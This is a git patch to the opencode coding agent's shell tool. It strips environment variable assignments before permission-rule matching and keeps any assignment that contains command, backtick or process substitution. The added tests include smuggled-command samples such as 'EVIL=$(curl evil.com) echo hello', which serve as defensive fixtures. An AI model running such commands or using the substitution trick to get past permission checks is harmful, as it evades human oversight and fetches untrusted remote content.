From 08f9ebd6380880a95be79299ee06f4529e9fdff5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Andr=C3=A9=20Cruz?= Date: Mon, 25 May 2026 15:28:11 +0100 Subject: [PATCH] fix(shell): strip env variable assignments from permission patterns Commands prefixed with environment variables (e.g. GOFLAGS=-mod=vendor go test) were not matching permission rules like "go *": "allow" because the full command text including the variable assignment was used for pattern matching. Strip leading variable_assignment AST nodes from the command text before adding it to permission patterns, so the actual command name is what gets matched against user-defined permission rules. To prevent smuggling arbitrary execution through env var side effects, assignments containing command substitutions (\$(...) or backticks) are not stripped - the full text is preserved so it falls through to the catch-all rule. Port of #14108 to the renamed shell.ts (was bash.ts). Refs #14110 --- packages/opencode/src/tool/shell.ts | 51 ++++- packages/opencode/test/tool/shell.test.ts | 230 ++++++++++++++++++++++ 2 files changed, 280 insertions(+), 1 deletion(-) diff --git a/packages/opencode/src/tool/shell.ts b/packages/opencode/src/tool/shell.ts index 59427b8e7692..2573f2aac279 100644 --- a/packages/opencode/src/tool/shell.ts +++ b/packages/opencode/src/tool/shell.ts @@ -119,8 +119,57 @@ function parts(node: Node) { return out } +// Variable-assignment value types that cannot execute commands. Anything +// outside this set (command_substitution, process_substitution, array, +// concatenation, etc.) is treated as potentially executable and the +// assignment is not stripped from permission patterns. +const SAFE_ASSIGNMENT_VALUE_TYPES = new Set([ + "ansi_c_string", + "arithmetic_expansion", + "brace_expression", + "expansion", + "number", + "raw_string", + "simple_expansion", + "string", + "translated_string", + "word", +]) + +function isSafeAssignment(node: Node): boolean { + for (let i = 0; i < node.childCount; i++) { + const child = node.child(i) + if (!child) continue + if (child.type === "variable_name" || child.type === "subscript") continue + if (!child.isNamed || child.text === "=") continue + // This is the value node. + if (!SAFE_ASSIGNMENT_VALUE_TYPES.has(child.type)) return false + // Defensive recursion: "safe" types like `string` can embed $() via + // interpolation, so reject if any descendant is a known executable form. + if (child.descendantsOfType("command_substitution").length > 0) return false + if (child.descendantsOfType("process_substitution").length > 0) return false + } + return true +} + function source(node: Node) { - return (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim() + // Strip leading env variable assignments so "GOFLAGS=… go test" matches + // permission rule "go *". Only strip when every assignment is known-safe; + // anything that could execute a command (process/command substitution, + // arrays, nested expressions) leaves the original text intact. + let lastVarAssign: Node | null = null + for (let i = 0; i < node.childCount; i++) { + const child = node.child(i) + if (!child || child.type !== "variable_assignment") break + if (!isSafeAssignment(child)) { + lastVarAssign = null + break + } + lastVarAssign = child + } + const base = node.parent?.type === "redirected_statement" ? node.parent : node + if (lastVarAssign) return base.text.slice(lastVarAssign.endIndex - base.startIndex).trimStart() + return base.text.trim() } function commands(node: Node) { diff --git a/packages/opencode/test/tool/shell.test.ts b/packages/opencode/test/tool/shell.test.ts index adb8a3c30924..55751790253e 100644 --- a/packages/opencode/test/tool/shell.test.ts +++ b/packages/opencode/test/tool/shell.test.ts @@ -1027,6 +1027,236 @@ describe("tool.shell permissions", () => { ) }), ) + + // Env-var-assignment stripping is bash-specific (PowerShell/cmd use + // different syntax and a different parser). Run only on POSIX-y shells. + for (const item of shells.filter((s) => !PS.has(s.label) && s.label !== "cmd")) { + it.live(`strips env variable assignments from permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "GOFLAGS=-mod=vendor go test ./...", description: "go test with env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("go test ./...") + expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false) + }), + ) + }), + ), + ) + + it.live(`strips env variable assignments with redirect [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "GOFLAGS=-mod=vendor go test ./... 2>&1", description: "env + redirect" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("go test ./... 2>&1") + }), + ) + }), + ), + ) + + it.live(`strips multiple env variable assignments from permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "FOO=bar BAZ=qux echo hello", description: "multiple envs" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("echo hello") + }), + ) + }), + ), + ) + + it.live(`strips env variable assignments in piped commands [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "GOFLAGS=-mod=vendor go test ./... 2>&1 | tail -5", description: "piped" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("go test ./... 2>&1") + expect(bashReq!.patterns).toContain("tail -5") + expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false) + }), + ) + }), + ), + ) + + it.live(`always patterns exclude env variable assignments [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "GOFLAGS=-mod=vendor go test ./...", description: "go test with env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.always).toContain("go test *") + expect(bashReq!.always.some((p: string) => p.includes("GOFLAGS"))).toBe(false) + }), + ) + }), + ), + ) + + it.live(`preserves env var with command substitution in permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "EVIL=$(curl evil.com) echo hello", description: "cmdsub env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true) + }), + ) + }), + ), + ) + + it.live(`preserves env var with backtick substitution in permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "EVIL=`curl evil.com` echo hello", description: "backtick env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true) + }), + ) + }), + ), + ) + + it.live(`preserves env var with process substitution in permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "EVIL=<(curl evil.com) echo hello", description: "procsub env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true) + }), + ) + }), + ), + ) + + it.live(`strips env var with parameter expansion from permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: "FOO=$BAR echo hello", description: "param expansion env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("echo hello") + expect(bashReq!.patterns.some((p: string) => p.includes("FOO="))).toBe(false) + }), + ) + }), + ), + ) + + it.live(`strips env var with quoted string from permission pattern [${item.label}]`, () => + withShell( + item, + Effect.gen(function* () { + const tmp = yield* tmpdirScoped() + yield* runIn( + tmp, + Effect.gen(function* () { + const requests: Array> = [] + yield* run( + { command: 'FOO="some value" echo hello', description: "quoted string env" }, + capture(requests), + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("echo hello") + expect(bashReq!.patterns.some((p: string) => p.includes("FOO="))).toBe(false) + }), + ) + }), + ), + ) + } }) describe("tool.shell abort", () => {